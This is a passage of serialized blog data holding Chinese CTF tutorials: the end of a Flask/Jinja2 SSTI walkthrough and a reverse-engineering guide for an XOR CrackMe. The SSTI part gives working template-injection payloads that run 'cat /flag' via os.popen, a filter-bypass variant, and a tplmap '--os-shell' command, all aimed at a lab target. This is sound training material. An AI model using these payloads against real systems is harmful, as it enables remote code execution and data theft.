1：curl",[22,7338,7340],{"className":24,"code":7339,"language":26,"meta":27,"style":27},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[29,7341,7342,7356],{"__ignoreMap":27},[32,7343,7344,7346,7348,7351,7353],{"class":34,"line":35},[32,7345,5455],{"class":38},[32,7347,5458],{"class":411},[32,7349,7350],{"class":42},"http://target/?name={{7*7}}",[32,7352,6098],{"class":411},[32,7354,7355],{"class":2549},"          # 探测\n",[32,7357,7358,7360,7363,7365,7368,7370,7373,7375,7378,7380],{"class":34,"line":46},[32,7359,5455],{"class":38},[32,7361,7362],{"class":240}," -G",[32,7364,5458],{"class":411},[32,7366,7367],{"class":42},"http://target/",[32,7369,6098],{"class":411},[32,7371,7372],{"class":240}," --data-urlencode",[32,7374,5458],{"class":411},[32,7376,7377],{"class":42},"name={{...}}",[32,7379,6098],{"class":411},[32,7381,7382],{"class":2549},"   # 自动 URL 编码\n",[146,7384,7386],{"id":7385},"工具-2requests","工具 2：requests",[22,7388,7390],{"className":1237,"code":7389,"language":1239,"meta":27,"style":27},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[29,7391,7392,7396,7400,7405,7410,7415,7420,7425],{"__ignoreMap":27},[32,7393,7394],{"class":34,"line":35},[32,7395,7181],{},[32,7397,7398],{"class":34,"line":46},[32,7399,2433],{"emptyLinePlaceholder":1372},[32,7401,7402],{"class":34,"line":69},[32,7403,7404],{},"url = \"http://target/\"\n",[32,7406,7407],{"class":34,"line":79},[32,7408,7409],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[32,7411,7412],{"class":34,"line":451},[32,7413,7414],{},"r = requests.get(url, params={\"name\": payload})\n",[32,7416,7417],{"class":34,"line":457},[32,7418,7419],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[32,7421,7422],{"class":34,"line":463},[32,7423,7424],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[32,7426,7427],{"class":34,"line":469},[32,7428,7429],{},"print(r.text)\n",[15,7431,7432,7435],{},[29,7433,7434],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[146,7437,7439],{"id":7438},"工具-3tplmap","工具 3：tplmap",[15,7441,7442],{},"模板注入自动化工具：",[22,7444,7446],{"className":24,"code":7445,"language":26,"meta":27,"style":27},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[29,7447,7448,7457,7476,7495],{"__ignoreMap":27},[32,7449,7450,7452,7454],{"class":34,"line":35},[32,7451,5282],{"class":38},[32,7453,5285],{"class":42},[32,7455,7456],{"class":42}," https://github.com/epinna/tplmap\n",[32,7458,7459,7461,7464,7466,7468,7470,7473],{"class":34,"line":46},[32,7460,770],{"class":769},[32,7462,7463],{"class":42}," tplmap",[32,7465,780],{"class":62},[32,7467,3684],{"class":38},[32,7469,105],{"class":42},[32,7471,7472],{"class":240}," -r",[32,7474,7475],{"class":42}," requirements.txt\n",[32,7477,7478,7480,7483,7485,7487,7490,7492],{"class":34,"line":69},[32,7479,1239],{"class":38},[32,7481,7482],{"class":42}," tplmap.py",[32,7484,6091],{"class":240},[32,7486,5458],{"class":411},[32,7488,7489],{"class":42},"http://target/?name=*",[32,7491,6098],{"class":411},[32,7493,7494],{"class":2549},"          # * 是注入点标记\n",[32,7496,7497,7499,7501,7503,7505,7507,7509],{"class":34,"line":79},[32,7498,1239],{"class":38},[32,7500,7482],{"class":42},[32,7502,6091],{"class":240},[32,7504,5458],{"class":411},[32,7506,7489],{"class":42},[32,7508,6098],{"class":411},[32,7510,7511],{"class":240}," --os-shell\n",[10,7513,7515],{"id":7514},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,7517,1135,7518,7521,7522,300],{},[29,7519,7520],{},"http://target/?name="," 存在 SSTI，flag 在 ",[29,7523,7524],{},"/flag",[146,7526,7528],{"id":7527},"第一步探测","第一步：探测",[15,7530,7531,7533],{},[135,7532,137],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[22,7535,7537],{"className":24,"code":7536,"language":26,"meta":27,"style":27},"curl \"http://target/?name={{7*7}}\"\n",[29,7538,7539],{"__ignoreMap":27},[32,7540,7541,7543,7545,7547],{"class":34,"line":35},[32,7542,5455],{"class":38},[32,7544,5458],{"class":411},[32,7546,7350],{"class":42},[32,7548,5464],{"class":411},[15,7550,7551,7552,7554],{},"响应含 ",[29,7553,6902],{}," → 确认。",[146,7556,7558],{"id":7557},"第二步直接打","第二步：直接打",[15,7560,7561,7563,7564,7567,7568,7570,7571,7573],{},[135,7562,143],{},"：先 ",[29,7565,7566],{},"config.__globals__"," 链试 ",[29,7569,7016],{},"；如果响应没出现 flag 内容，先改用 ",[29,7572,5430],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[22,7575,7577],{"className":1237,"code":7576,"language":1239,"meta":27,"style":27},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[29,7578,7579,7583,7587,7591,7595,7599],{"__ignoreMap":27},[32,7580,7581],{"class":34,"line":35},[32,7582,7181],{},[32,7584,7585],{"class":34,"line":46},[32,7586,2433],{"emptyLinePlaceholder":1372},[32,7588,7589],{"class":34,"line":69},[32,7590,7404],{},[32,7592,7593],{"class":34,"line":79},[32,7594,7409],{},[32,7596,7597],{"class":34,"line":451},[32,7598,7414],{},[32,7600,7601],{"class":34,"line":457},[32,7602,7429],{},[15,7604,7605],{},"预期输出中出现：",[22,7607,7610],{"className":7608,"code":7609,"language":174,"meta":27},[172],"flag{ssti_rce}\n",[29,7611,7609],{"__ignoreMap":27},[146,7613,7615],{"id":7614},"第三步被过滤时","第三步：被过滤时",[15,7617,7618,7620,7621,7623],{},[135,7619,143],{},"：把点号换成 ",[29,7622,7288],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,7625,7626],{},"改用 attr 与 request.args 组合：",[22,7628,7631],{"className":7629,"code":7630,"language":174,"meta":27},[172],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[29,7632,7630],{"__ignoreMap":27},[10,7634,1336],{"id":1335},[15,7636,7637,7638,3276,7640,7643,7644,1124,7646,7649],{},"SSTI 主线：探测 ",[29,7639,6808],{},[29,7641,7642],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[29,7645,7288],{},[29,7647,7648],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1349,7651,7652],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":27,"searchDepth":46,"depth":46,"links":7654},[7655,7656,7657,7658,7659,7660,7661,7662],{"id":6621,"depth":69,"text":6622},{"id":6700,"depth":69,"text":6701},{"id":6790,"depth":69,"text":6791},{"id":6977,"depth":69,"text":6978},{"id":7267,"depth":69,"text":7268},{"id":1036,"depth":69,"text":1037},{"id":7514,"depth":69,"text":7515},{"id":1335,"depth":69,"text":1336},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1365,"image":7665,"alt":7666,"tags":7667,"published":1372},"/blogs-img/blog6.png","SSTI 深入实战",[1369,6608,7668,1371],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":6616,"description":7663},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":7674,"title":7675,"body":7676,"description":8616,"extension":1363,"meta":8617,"navigation":1372,"ogImage":8618,"path":8621,"seo":8622,"stem":8623,"__hash__":8624},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":7677,"toc":8605},[7678,7682,7685,7689,7695,7879,7882,7899,7902,7911,7916,7928,7932,7934,7939,7952,7956,7967,7970,7976,7981,7985,7996,8010,8012,8018,8027,8031,8036,8051,8053,8084,8086,8115,8122,8126,8158,8161,8186,8190,8193,8243,8248,8250,8258,8261,8267,8269,8281,8295,8297,8302,8311,8313,8318,8321,8336,8338,8344,8347,8351,8356,8373,8433,8435,8447,8449,8454,8457,8467,8471,8475,8558,8562,8593,8595,8602],[10,7679,7681],{"id":7680},"一现实背景注册码校验","一、现实背景：注册码校验",[15,7683,7684],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,7686,7688],{"id":7687},"二题目源码与编译","二、题目源码与编译",[15,7690,7691,7692,560],{},"出题人视角的 ",[29,7693,7694],{},"crackme.c",[22,7696,7698],{"className":815,"code":7697,"language":817,"meta":27,"style":27},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[29,7699,7700,7704,7709,7713,7718,7723,7728,7733,7738,7743,7748,7753,7758,7763,7768,7773,7778,7783,7788,7793,7798,7803,7808,7812,7816,7821,7826,7831,7836,7841,7846,7851,7856,7861,7866,7871,7875],{"__ignoreMap":27},[32,7701,7702],{"class":34,"line":35},[32,7703,2423],{},[32,7705,7706],{"class":34,"line":46},[32,7707,7708],{},"#include \u003Cstring.h>\n",[32,7710,7711],{"class":34,"line":69},[32,7712,2433],{"emptyLinePlaceholder":1372},[32,7714,7715],{"class":34,"line":79},[32,7716,7717],{},"int check(const char *input) {\n",[32,7719,7720],{"class":34,"line":451},[32,7721,7722],{},"    char key[] = \"k3y\";\n",[32,7724,7725],{"class":34,"line":457},[32,7726,7727],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[32,7729,7730],{"class":34,"line":463},[32,7731,7732],{},"    unsigned char enc[] = {\n",[32,7734,7735],{"class":34,"line":469},[32,7736,7737],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[32,7739,7740],{"class":34,"line":475},[32,7741,7742],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[32,7744,7745],{"class":34,"line":481},[32,7746,7747],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[32,7749,7750],{"class":34,"line":1294},[32,7751,7752],{},"    };\n",[32,7754,7755],{"class":34,"line":1300},[32,7756,7757],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[32,7759,7760],{"class":34,"line":2478},[32,7761,7762],{},"    int n = strlen(input);\n",[32,7764,7765],{"class":34,"line":2484},[32,7766,7767],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[32,7769,7770],{"class":34,"line":2490},[32,7771,7772],{},"    if (n != 24) return 0;\n",[32,7774,7775],{"class":34,"line":2496},[32,7776,7777],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[32,7779,7780],{"class":34,"line":2502},[32,7781,7782],{},"    for (int i = 0; i \u003C n; i++)\n",[32,7784,7785],{"class":34,"line":2508},[32,7786,7787],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[32,7789,7790],{"class":34,"line":2514},[32,7791,7792],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[32,7794,7795],{"class":34,"line":3954},[32,7796,7797],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[32,7799,7800],{"class":34,"line":3960},[32,7801,7802],{},"    return 1;\n",[32,7804,7805],{"class":34,"line":3966},[32,7806,7807],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[32,7809,7810],{"class":34,"line":3972},[32,7811,2448],{},[32,7813,7814],{"class":34,"line":3978},[32,7815,2433],{"emptyLinePlaceholder":1372},[32,7817,7818],{"class":34,"line":4743},[32,7819,7820],{},"int main(int argc, char **argv) {\n",[32,7822,7823],{"class":34,"line":4748},[32,7824,7825],{},"    if (argc != 2) {\n",[32,7827,7828],{"class":34,"line":4754},[32,7829,7830],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[32,7832,7833],{"class":34,"line":4760},[32,7834,7835],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[32,7837,7838],{"class":34,"line":4765},[32,7839,7840],{},"        return 1;\n",[32,7842,7843],{"class":34,"line":4771},[32,7844,7845],{},"    }\n",[32,7847,7848],{"class":34,"line":4777},[32,7849,7850],{},"    if (check(argv[1]))\n",[32,7852,7853],{"class":34,"line":4783},[32,7854,7855],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[32,7857,7858],{"class":34,"line":4789},[32,7859,7860],{},"        puts(\"Correct!\");\n",[32,7862,7863],{"class":34,"line":4794},[32,7864,7865],{},"    else\n",[32,7867,7868],{"class":34,"line":4800},[32,7869,7870],{},"        puts(\"Wrong!\");\n",[32,7872,7873],{"class":34,"line":4806},[32,7874,2511],{},[32,7876,7877],{"class":34,"line":4812},[32,7878,2448],{},[15,7880,7881],{},"编译（解题时只有二进制，没有源码）：",[22,7883,7885],{"className":24,"code":7884,"language":26,"meta":27,"style":27},"gcc -o crackme crackme.c\n",[29,7886,7887],{"__ignoreMap":27},[32,7888,7889,7891,7893,7896],{"class":34,"line":35},[32,7890,2529],{"class":38},[32,7892,2532],{"class":240},[32,7894,7895],{"class":42}," crackme",[32,7897,7898],{"class":42}," crackme.c\n",[15,7900,7901],{},"运行确认行为：",[22,7903,7905],{"className":24,"code":7904,"language":26,"meta":27,"style":27},"./crackme\n",[29,7906,7907],{"__ignoreMap":27},[32,7908,7909],{"class":34,"line":35},[32,7910,7904],{"class":38},[15,7912,297,7913,300],{},[29,7914,7915],{},"Usage: ./crackme \u003Cflag>",[22,7917,7919],{"className":24,"code":7918,"language":26,"meta":27,"style":27},"./crackme wrongflag123456789012\n",[29,7920,7921],{"__ignoreMap":27},[32,7922,7923,7925],{"class":34,"line":35},[32,7924,1325],{"class":38},[32,7926,7927],{"class":42}," wrongflag123456789012\n",[15,7929,297,7930,300],{},[29,7931,269],{},[10,7933,131],{"id":130},[15,7935,7936,7938],{},[135,7937,137],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,7940,7941,560,7943,7945,7946,7948,7949,7951],{},[135,7942,143],{},[29,7944,208],{}," 能看到 ",[29,7947,273],{}," 这样的短密钥（需要 ",[29,7950,277],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[146,7953,7955],{"id":7954},"_31-file","3.1 file",[22,7957,7959],{"className":24,"code":7958,"language":26,"meta":27,"style":27},"file crackme\n",[29,7960,7961],{"__ignoreMap":27},[32,7962,7963,7965],{"class":34,"line":35},[32,7964,162],{"class":38},[32,7966,1177],{"class":42},[15,7968,7969],{},"预期输出（Linux ELF）：",[22,7971,7974],{"className":7972,"code":7973,"language":174,"meta":27},[172],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[29,7975,7973],{"__ignoreMap":27},[15,7977,7978,7980],{},[29,7979,182],{},"：函数名可见。",[146,7982,7984],{"id":7983},"_32-strings","3.2 strings",[15,7986,7987,7988,7990,7991,7993,7994,560],{},"注意：",[29,7989,208],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[29,7992,273],{}," 只有 3 个字符，必须加 ",[29,7995,277],{},[22,7997,7998],{"className":24,"code":1164,"language":26,"meta":27,"style":27},[29,7999,8000],{"__ignoreMap":27},[32,8001,8002,8004,8006,8008],{"class":34,"line":35},[32,8003,208],{"class":38},[32,8005,241],{"class":240},[32,8007,244],{"class":240},[32,8009,1177],{"class":42},[15,8011,168],{},[22,8013,8016],{"className":8014,"code":8015,"language":174,"meta":27},[172],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[29,8017,8015],{"__ignoreMap":27},[15,8019,8020,8022,8023,8026],{},[29,8021,273],{}," 极可能是密钥。",[29,8024,8025],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,8028,8030],{"id":8029},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,8032,8033,8035],{},[135,8034,137],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,8037,8038,8040,8041,8043,8044,8047,8048,8050],{},[135,8039,143],{},"：main 里 ",[29,8042,524],{}," 后紧跟 ",[29,8045,8046],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[29,8049,1200],{},"，逆向思路立刻清晰。",[146,8052,352],{"id":351},[22,8054,8056],{"className":24,"code":8055,"language":26,"meta":27,"style":27},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[29,8057,8058],{"__ignoreMap":27},[32,8059,8060,8062,8064,8066,8068,8070,8072,8074,8076,8078,8080,8082],{"class":34,"line":35},[32,8061,364],{"class":38},[32,8063,367],{"class":240},[32,8065,370],{"class":240},[32,8067,373],{"class":42},[32,8069,7895],{"class":42},[32,8071,399],{"class":55},[32,8073,402],{"class":38},[32,8075,405],{"class":240},[32,8077,408],{"class":240},[32,8079,412],{"class":411},[32,8081,415],{"class":42},[32,8083,418],{"class":411},[15,8085,421],{},[22,8087,8089],{"className":424,"code":8088,"language":426,"meta":27,"style":27},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[29,8090,8091,8095,8099,8103,8107,8111],{"__ignoreMap":27},[32,8092,8093],{"class":34,"line":35},[32,8094,433],{},[32,8096,8097],{"class":34,"line":46},[32,8098,448],{},[32,8100,8101],{"class":34,"line":69},[32,8102,454],{},[32,8104,8105],{"class":34,"line":79},[32,8106,460],{},[32,8108,8109],{"class":34,"line":451},[32,8110,466],{},[32,8112,8113],{"class":34,"line":457},[32,8114,472],{},[15,8116,8117,8119,8120,300],{},[29,8118,524],{}," 说明判断逻辑在 ",[29,8121,553],{},[146,8123,8125],{"id":8124},"_42-objdump-看-check","4.2 objdump 看 check",[22,8127,8129],{"className":24,"code":8128,"language":26,"meta":27,"style":27},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[29,8130,8131],{"__ignoreMap":27},[32,8132,8133,8135,8137,8139,8141,8143,8145,8147,8149,8152,8154,8156],{"class":34,"line":35},[32,8134,364],{"class":38},[32,8136,367],{"class":240},[32,8138,370],{"class":240},[32,8140,373],{"class":42},[32,8142,7895],{"class":42},[32,8144,399],{"class":55},[32,8146,402],{"class":38},[32,8148,405],{"class":240},[32,8150,8151],{"class":240}," 60",[32,8153,412],{"class":411},[32,8155,610],{"class":42},[32,8157,418],{"class":411},[15,8159,8160],{},"预期会看到循环比较：",[22,8162,8164],{"className":424,"code":8163,"language":426,"meta":27,"style":27},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[29,8165,8166,8171,8176,8181],{"__ignoreMap":27},[32,8167,8168],{"class":34,"line":35},[32,8169,8170],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[32,8172,8173],{"class":34,"line":46},[32,8174,8175],{},"xor    eax, 0x...                 ; 与 key 异或\n",[32,8177,8178],{"class":34,"line":69},[32,8179,8180],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[32,8182,8183],{"class":34,"line":79},[32,8184,8185],{},"je     0x...\n",[146,8187,8189],{"id":8188},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,8191,8192],{},"安装并打开：",[22,8194,8196],{"className":24,"code":8195,"language":26,"meta":27,"style":27},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[29,8197,8198,8208,8218],{"__ignoreMap":27},[32,8199,8200,8202,8204,8206],{"class":34,"line":35},[32,8201,102],{"class":38},[32,8203,105],{"class":42},[32,8205,734],{"class":42},[32,8207,737],{"class":42},[32,8209,8210,8212,8214,8216],{"class":34,"line":46},[32,8211,742],{"class":38},[32,8213,745],{"class":42},[32,8215,749],{"class":748},[32,8217,752],{"class":42},[32,8219,8220,8222,8224,8226,8229,8231,8233,8235,8237,8239,8241],{"class":34,"line":69},[32,8221,757],{"class":38},[32,8223,760],{"class":42},[32,8225,749],{"class":748},[32,8227,8228],{"class":42},".zip",[32,8230,780],{"class":62},[32,8232,770],{"class":769},[32,8234,760],{"class":42},[32,8236,749],{"class":748},[32,8238,777],{"class":42},[32,8240,780],{"class":62},[32,8242,783],{"class":38},[15,8244,8245,8246,300],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[29,8247,553],{},[15,8249,812],{},[22,8251,8252],{"className":815,"code":1210,"language":817,"meta":27,"style":27},[29,8253,8254],{"__ignoreMap":27},[32,8255,8256],{"class":34,"line":35},[32,8257,1210],{},[15,8259,8260],{},"得到逆运算关系：",[22,8262,8265],{"className":8263,"code":8264,"language":174,"meta":27},[172],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[29,8266,8264],{"__ignoreMap":27},[10,8268,846],{"id":845},[22,8270,8272],{"className":24,"code":8271,"language":26,"meta":27,"style":27},"gdb ./crackme\n",[29,8273,8274],{"__ignoreMap":27},[32,8275,8276,8278],{"class":34,"line":35},[32,8277,873],{"class":38},[32,8279,8280],{"class":42}," ./crackme\n",[22,8282,8284],{"className":885,"code":8283,"language":873,"meta":27,"style":27},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[29,8285,8286,8290],{"__ignoreMap":27},[32,8287,8288],{"class":34,"line":35},[32,8289,886],{},[32,8291,8292],{"class":34,"line":46},[32,8293,8294],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,8296,168],{},[22,8298,8300],{"className":8299,"code":898,"language":174,"meta":27},[172],[29,8301,898],{"__ignoreMap":27},[22,8303,8305],{"className":885,"code":8304,"language":873,"meta":27,"style":27},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[29,8306,8307],{"__ignoreMap":27},[32,8308,8309],{"class":34,"line":35},[32,8310,8304],{},[15,8312,168],{},[22,8314,8316],{"className":8315,"code":919,"language":174,"meta":27},[172],[29,8317,919],{"__ignoreMap":27},[15,8319,8320],{},"查看 enc 数组（地址在反汇编中确定）：",[22,8322,8324],{"className":885,"code":8323,"language":873,"meta":27,"style":27},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[29,8325,8326,8331],{"__ignoreMap":27},[32,8327,8328],{"class":34,"line":35},[32,8329,8330],{},"(gdb) x/24bx 0x5555555551e0\n",[32,8332,8333],{"class":34,"line":46},[32,8334,8335],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,8337,168],{},[22,8339,8342],{"className":8340,"code":8341,"language":174,"meta":27},[172],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[29,8343,8341],{"__ignoreMap":27},[15,8345,8346],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,8348,8350],{"id":8349},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,8352,8353,8355],{},[135,8354,137],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,8357,8358,8360,8361,8364,8365,8368,8369,8372],{},[135,8359,143],{},"：因为 ",[29,8362,8363],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[29,8366,8367],{},"key[i%3]"," 得 ",[29,8370,8371],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[22,8374,8376],{"className":1237,"code":8375,"language":1239,"meta":27,"style":27},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[29,8377,8378,8382,8386,8390,8395,8399,8404,8409,8414,8419,8424,8428],{"__ignoreMap":27},[32,8379,8380],{"class":34,"line":35},[32,8381,1246],{},[32,8383,8384],{"class":34,"line":46},[32,8385,1251],{},[32,8387,8388],{"class":34,"line":69},[32,8389,1256],{},[32,8391,8392],{"class":34,"line":79},[32,8393,8394],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[32,8396,8397],{"class":34,"line":451},[32,8398,2433],{"emptyLinePlaceholder":1372},[32,8400,8401],{"class":34,"line":457},[32,8402,8403],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[32,8405,8406],{"class":34,"line":463},[32,8407,8408],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[32,8410,8411],{"class":34,"line":469},[32,8412,8413],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[32,8415,8416],{"class":34,"line":475},[32,8417,8418],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[32,8420,8421],{"class":34,"line":481},[32,8422,8423],{},"# bytes([...])：把整数列表转成字节串。\n",[32,8425,8426],{"class":34,"line":1294},[32,8427,1297],{},[32,8429,8430],{"class":34,"line":1300},[32,8431,8432],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,8434,6433],{},[22,8436,8438],{"className":24,"code":8437,"language":26,"meta":27,"style":27},"python3 solve.py\n",[29,8439,8440],{"__ignoreMap":27},[32,8441,8442,8444],{"class":34,"line":35},[32,8443,3104],{"class":38},[32,8445,8446],{"class":42}," 